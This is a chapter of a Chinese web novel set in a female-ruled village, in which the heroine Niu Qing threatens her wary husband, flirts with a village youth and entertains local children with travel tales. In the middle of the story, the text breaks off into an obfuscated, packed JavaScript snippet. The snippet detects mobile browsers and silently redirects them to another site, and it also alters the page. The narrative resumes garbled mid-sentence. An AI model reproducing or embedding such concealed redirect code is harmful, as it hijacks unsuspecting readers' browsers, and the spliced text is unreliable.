30. 绝对不行
作品:《女尊之江山美人我都要》 这边,曹茅也躺下了,她是在娘、三个爹还有两个姐姐的簇拥下上床睡觉的,只是她睡前忽然问道,“村里的巫婆婆在不在?”
“不在,昨天就上县里买铁具去了,兴许今晚能回来,”曹老大又问道,“你找巫婆婆有事?”
曹茅仰面倒在床上,长叹一声,“没事,就是马上秋祭了……”
……
牛蜻一觉睡到下半晌,神清气爽。
她打开院门,发现门口蹲着一个瘦弱的人影——他白皙的脸颊上有明显的红晕,汗水打湿头发粘在前额,看起来晒了一中午,现在头一点一点地打着瞌睡,也不知是不是中暑了。
梁存安一直没发现她,牛蜻便静立在一旁欣赏这幅美人图。
眉眼清秀,带着薄愁,梁存安自有一番动人的情态。
可惜遇人不淑。
她本心里是怜悯他的,自小被母父卖给牙人,九岁上被牛家买来,寄人篱下。倘若遇上个好妻主也就罢了,偏生遇上的是原主这个混账,被逼出杀心也是人之常情,难不成只有挨欺负的理,却不许人家反抗?
只是理智的层面上,牛蜻容不得身旁有这么大个隐患。
老虎也有打盹的时候,如果随时有人想要她的命,无论出于什么样的原因,都是她绝对不能容忍的。
绝对不行。
见他眼珠转动,似是快醒了,她抬起一只脚去,轻轻碰了碰他手臂,“诶醒醒,在这睡上了,怎么就剩你一个人了?老二上哪去了?”
梁存安在梦里也不安稳,此刻醒来更是吓一大跳,扑通坐到了地上,半天缓不过神来。
这反应显然是有事,牛蜻也不急着问老二的去向了。
她双手抱胸,忽然弯腰逼近,指尖挑起他的一缕黑发,在他褐色的瞳孔里看到自己轻飘飘地开口笑,“你心虚什么?”
她的话和笑容一样,如同薄薄的冰霜,日头一出,随时都能消散了,可梁存安置身其间,却觉得寒冷顺着脊柱往上爬,附骨之疽般挥之不去。
她的鼻息都喷在他颈边耳畔,他听见她说,“你这些日子还睡得着吗?我是懒得计较,又不是不知道。”
她哼笑一声,一切尽在不言中。
梁存安终于彻底醒了,他控制住呼吸,镇静地回答道,“你说什么我听不懂,可是我哪里做错了,我改就是了。”
牛蜻斜他一眼,没再多说,直起腰来走了,边走边拍拍衣服上沾的土,土路就这点不好,稍微弯弯腰抬抬腿就一身的土,真是有点不习惯。
她顺着最宽的一条路溜达,穿过一个个篱笆院的同时,也不忘撩猫逗狗,惹得过路人都绕着她走,唯恐避之不及。
有长者看见,摇头叹息不止——老牛多好一个人,怎么生出来这么个不肖子?
等她又游逛到村口,那议论的声音就更多了,公公爸爸们交头接耳,“看,这谁家的出来了?”
“哪有人家让婿郎出来挑水的,一趟趟的都累成什么样了……”
“就这样,回去还不给进门,不给吃饭,住都住在柴房里!”
“真是造孽呀,安哥儿这孩子可是命苦……”
牛蜻充耳不闻,背着手,嘴里叼根狗尾巴草,溜溜达达往田埂边走。
路过一片田地,里面有几个年轻男子劳作,其中一个杏眼的很是好看——
柳手鹤姿,身段气韵皆与凡夫不同。
她有点看住了,脚下不觉放慢脚步,那人起先不知有人看,只心无旁骛地干活。
牛蜻见他穿着半新、精血旺盛,不由想起梁存安,感慨人之际遇不同,反映到面容上也是天差地别,这少男的面相,一看就是没吃过苦的。
不一会儿,周围郎们都注意到她,嬉笑着,挤眉弄眼地让那人停下回头看,他也果然如此做了,可一见那痞笑不正经的少年娘,竟是牛蜻,他就不大情愿被她看了。
牛蜻才不理闲话,从心所欲地朝他吹了个口哨,又细又清脆的哨声好像某种鸟类的鸣啼。
一时间,郎们都哄笑起来。
那少男咬着下唇、眼波流转,半是嗔怒半是埋怨地白她一眼,急忙拉下草帽跑走了。
从他们的对话中,牛蜻听见他的名字,原来他就是祝家那个长得好看的小男儿,不愧是西里村草,十里八乡都惦记的小美人。
她嘴角勾出点笑意,余光追踪着他慌不择路的身影,口哨吹得直打旋儿,那颗毛茸茸的狗尾巴草也颤颤悠悠,勾出一点心痒来。
好戏没了,郎们本该散了,却一个个地挪不动脚,悄悄地遮遮掩掩地看那离开的潇洒背影……
牛蜻只一味往前走,终于在里界边看见牛蜓。
那熊孩子头上盖着个破树叶子,正守着田垄睡觉。
牛蜻憋粗声音,用乡音大吼一声,“有猹来偷瓜啦!”
牛蜓一下子就从破草窝棚里跑出来,拿着根木棍子,“在哪在哪呢?!”
牛蜻从窝棚后绕过去,钻进她刚躺过的草垛,满意地翘起二郎腿,吊儿郎当地晃脚腕。
牛蜓一回头,气得不行,“你来干什么?你回去!”
“小孩子家家总是没大没小的,让外人看了还说咱家没家教呢,小声点,把我的甘瓜都吓得不长了。”
“你放屁,”牛蜓气呼呼的,但声音压低了,盘腿坐在牛蜻身边。
一眼望去,瓜畦修得方方正正,浅浅的垄沟里闪着点银色的水光,几十条青绿的茎蔓贴地铺展,正随风轻轻翻卷,露出里面拳头大小、圆滚滚的青白瓜皮,小黄花点缀左右,引得蜜蜂蝴蝶时时围绕。
那些蜂蝶绕着绕着就飞远了,只有青稚的小甘瓜还停留在原地。
牛蜓小大人似地叹息,过了一会儿,推牛蜻,“喂,你在外边遇到什么了?我听说茅姐都饿瘦了,把她爹们心疼得直哭。”
“好想长大啊,长大了就能像你们一样出远门,或者像芳姐一样住乡里……”
童声轻轻消散在田地里。
牛蜻恍惚从她身上看到了小时候的自己,她默然一瞬,按着牛蜓的头撑起身体。
“且说姊妹二人,自离了丰县地界,一心径往北上,是晓行夜宿,饥餐渴饮,直要寻那本郡第一大城,郡府邹城是也,谁曾想……”
“……那樵妇话音落时,二人变了面色,错了错了!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17039965|190572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此路非往西北方,而是通向东方薛郡!”
“是走走复停停,历经九九八十一难,二人终是到达博城门楼下,掐指算来,也近一月光阴……”
牛蜻没那份哄孩子的耐心,可胡侃瞎吹起来,却能把死人也说活。
她一时猛拍大腿,做豪饮千杯醉不倒,提棒上山捉大虫的打虎英雌;一时又嘤嘤哭泣,扮被反派掳走,日思夜想母父的小郎;一时端起架子,威仪赫赫;一时奴颜婢膝,造人唾弃;一时惶恐大叫;一时啸歌舞蹈……
嬉笑怒骂,活灵活现,她绘声绘色地讲述自己闯荡江湖的冒险经历,千人千面,让人身临其境,直把从没出过这一亩三分地的牛蜓唬得一愣一愣的。
一开始就她一个人在听,后来,慢慢聚集了一大群,大小少年都有,蹲在那个个目不转睛,叫好声不断。
“诶,不讲了,我渴死了,”讲到最精彩处,牛蜻撂挑子不干哪能行?
少年们有送水送果子的,有捏肩捶腿的,还有缠着她撒娇耍赖的,牛蜻来者不拒,在众少年的吹捧哀求声里,才又讲起来。
这一趟,她和曹茅走了近五百里,官道转小路,陆路转水路,跨过山,趟过河,见了数不完的风物和形形色色的人物,更别说在博城内的见闻,其惊心动魄是几辈子都遇不上的。
她当然不会全讲,十分之一就够了,再融合些武侠志怪故事,道听途说秘闻,网文小说经典桥段,让一群乡间少女大饱耳福,听得那是如痴如醉。
哪怕到了黄昏时分,各家都叫回家吃饭,众人还依依不舍,恋恋不肯去。可再不肯回,也要回了,母父的荆条不是说笑的。
慢慢地,人群散去,只有五六个少年还蹲在地上听。
她们个个衣衫褴褛,脸上手上不干不净,有的还瘦得不行,哪里都有些没家没人管的孩子,恰好这几个的年纪没比牛蜓大多少,也没比牛蜻小多少。
落日的余晖照在她们脸上,一双双如狼如虎的眼睛。
“大姐,再讲讲你桃园结拜的故事吧!”
“再讲讲吧!”
“大姐大姐,我们都叫你姐,再讲一点!”
牛蜻笑得愈发畅快,大手一挥,索性都领着下馆子去。
安埠亭亭舍前新开了家小食肆,一人一碗汤饼,再来上五斤炙香肉,就能把一群半年都开不了一次荤的少年们吃美了。
半中间,不知哪听得消息,蹭饭的又来两个。牛蜻扫一眼她们窘迫的举止、发颤的手脚,一视同仁,又叫堂食。
吃饱喝足,她给那美貌的小店主付钱,将赶路剩下的最后一点钱花了七七八八,剩下几个大子儿干脆也不留了,又叫了一碗热汤饼,叫牛蜓送回去给梁存安吃。
出来时已是满天繁星,一个少年悄悄拐进小道,朝东头一户人家狂奔——
有人低语,“牛家老大几时这般大方……她要干什么?”
屋里女子灭灯,“由她去,一个曹胖子的跟班,还不值得我上心。”便是曹胖子,也不过仗着会投胎,有个好娘罢了。
——夜又一次静谧下来。
月光渺渺,照亮了牛家姐妹回家的路……

